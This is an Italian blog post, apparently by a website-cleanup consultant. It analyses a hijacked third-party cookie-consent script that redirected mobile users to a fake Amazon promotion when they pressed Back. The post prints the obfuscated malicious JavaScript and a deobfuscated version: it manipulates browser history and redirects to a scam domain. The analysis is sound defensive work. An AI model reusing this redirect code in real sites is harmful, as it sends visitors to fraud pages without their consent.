Lo strano caso delle promozioni truffa che infettano i siti web senza “bucarli”

Vi è mai capitato di navigare sul web da smartphone e all’improvviso ritrovarvi pagine pubblicitarie che si aprono da sole o addirittura appaiono nella cronologia senza averle mai visitate prima?

Vi avevo già parlato di come bloccare le pubblicità sui dispositivi Android, però questo fenomeno di “intrusione” nella lista di pagine visitate è piuttosto subdolo e a volte può capitare ugualmente. La cosa dà particolarmente fastidio quando gli utenti del vostro sito iniziano a lamentarsi del fenomeno.

Questo è proprio ciò che è successo ad un cliente: visitando il suo sito web da smartphone, la pagina si apriva correttamente. Navigando non si notava nulla, fino al momento di premere il tasto Indietro del browser. A quel punto, l’ignaro utente era inesorabilmente dirottato verso una pagina pubblicitaria camuffata da promozione Amazon.

Screenshot che rappresenta un presunto "Concorso Promozionale Amazon"
La finta promozione Amazon comparsa alla pressione del tasto Indietro

La richiesta che mi veniva posta era individuare la causa di questa “infezione” e rimuovere le pubblicità. Sembrava trattarsi di un classico caso di bonifica di siti web compromessi, come ne affronto abitualmente.

Tuttavia, a seguito di una veloce verifica, è risultato chiaro che il sito non era stato “bucato”. Nonostante ci siano malintenzionati che scansionano frequentemente la rete alla ricerca di siti con WordPress, Drupal oppure Joomla non aggiornati (o con plug-in vulnerabili) per violarli e infettarli, qui non era accaduto nulla del genere.

Lo sviluppo web con il tempo sta prendendo una direzione sempre più complessa e di conseguenza aumentano i componenti e le librerie che vengono usate nel lavoro. Chi ha sviluppato la grafica e le funzionalità del sito ha reputato opportuno usare alcune librerie Javascript, la maggior parte delle quali “interne”, quindi salvate direttamente nello spazio web associato al dominio in esame.

Nel verificare i file richiamati però spiccava invece un componente esterno, apparentemente innocuo e legato alla gestione della richiesta di consenso per l’uso dei cookie:

<!-- Begin Cookie Consent plugin by Silktide - http://silktide.com/cookieconsent -->
<!-- cookie conset latest version -->
<script type="text/javascript" src="https://s3-eu-west-1.amazonaws.com/assets.cookieconsent.silktide.com/current/plugin.min.js"></script>

Andando a vedere il contenuto del file, non compare nulla di buono. Il codice è chiaramente offuscato, non semplicemente compresso, cosa che dovrebbe far nascere dei seri sospetti sulla sua legittimità:

var _0xc368=["\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x74\x65\x73\x74","","\x23","\x70\x75\x73\x68\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x6F\x2E\x32\x63\x65\x6E\x74\x72\x61\x6C\x2E\x69\x63\x75\x2F\x3F\x75\x74\x6D\x5F\x6D\x65\x64\x69\x75\x6D\x3D\x35\x62\x66\x35\x30\x35\x65\x61\x32\x62\x65\x63\x30\x66\x61\x32\x30\x34\x33\x38\x31\x31\x65\x30\x30\x39\x62\x66\x39\x65\x35\x66\x30\x35\x32\x31\x32\x32\x39\x32\x26\x75\x74\x6D\x5F\x63\x61\x6D\x70\x61\x69\x67\x6E\x3D\x32\x63\x65\x6E\x74\x72\x61\x6C\x26\x31\x3D","\x72\x65\x70\x6C\x61\x63\x65"];if(/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i[_0xc368[1]](navigator[_0xc368[0]])){!function(){var _0xa9b1x1;try{for(_0xa9b1x1= 0;10> _0xa9b1x1;++_0xa9b1x1){history[_0xc368[4]]({},_0xc368[2],_0xc368[3])};onpopstate= function(_0xa9b1x1){_0xa9b1x1[_0xc368[5]]&& location[_0xc368[7]](_0xc368[6])}}catch(o){}}()}

Il trucco di mascherare i comandi utilizzando le entità esadecimali è abbastanza diffuso, ma è anche semplice da analizzare. Il metodo “pigro” è quello di usare Online JavaScript Beautifier e ottenere un codice decisamente più leggibile:

if (/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i ['test'](navigator['userAgent'])) {
    ! function() {
        var _0xa9b1x1;
        try {
            for (_0xa9b1x1 = 0; 10 > _0xa9b1x1; ++_0xa9b1x1) {
                history['pushState']({}, '', '#')
            };
            onpopstate = function(_0xa9b1x1) {
                _0xa9b1x1['state'] && location['replace']('http://to.2central.icu/?utm_medium=5bf505ea2bec0fa2043811e009bf9e5f05212292&utm_campaign=2central&1=')
            }
        } catch (o) {}
    }()
}

Ahia! Questa nefandezza si può riassumere in parole molto semplici:

  • se l’utente sembra navigare da un dispositivo mobile, allora aggiungi 10 voci vuote alla cronologia delle pagine precedenti
  • quando viene premuto il tasto Indietro, rimpiazza la pagina corrente con un URL che rimanda alla pagina truffaldina

In questo caso la soluzione da prospettare al cliente è relativamente semplice: basta eliminare il riferimento allo script incriminato e sostituirlo con un altro codice che chieda il consenso per i cookie.

Quando si utilizza uno script ospitato su server di terze parti, dovete tenere a mente che in futuro il contenuto potrebbe cambiare. Per esempio, quel dominio potrebbe essere violato o semplicemente scadere e venire registrato da qualcun altro che ci inserirà codice malevolo. È quindi consigliabile linkare da fonti esterne solo script veramente fidati, per minimizzare i rischi e le brutte figure.

Avete un sito web che è stato violato, invia spam o manifesta altri comportamenti strani? Cliccate qui per contattarmi e parliamone.

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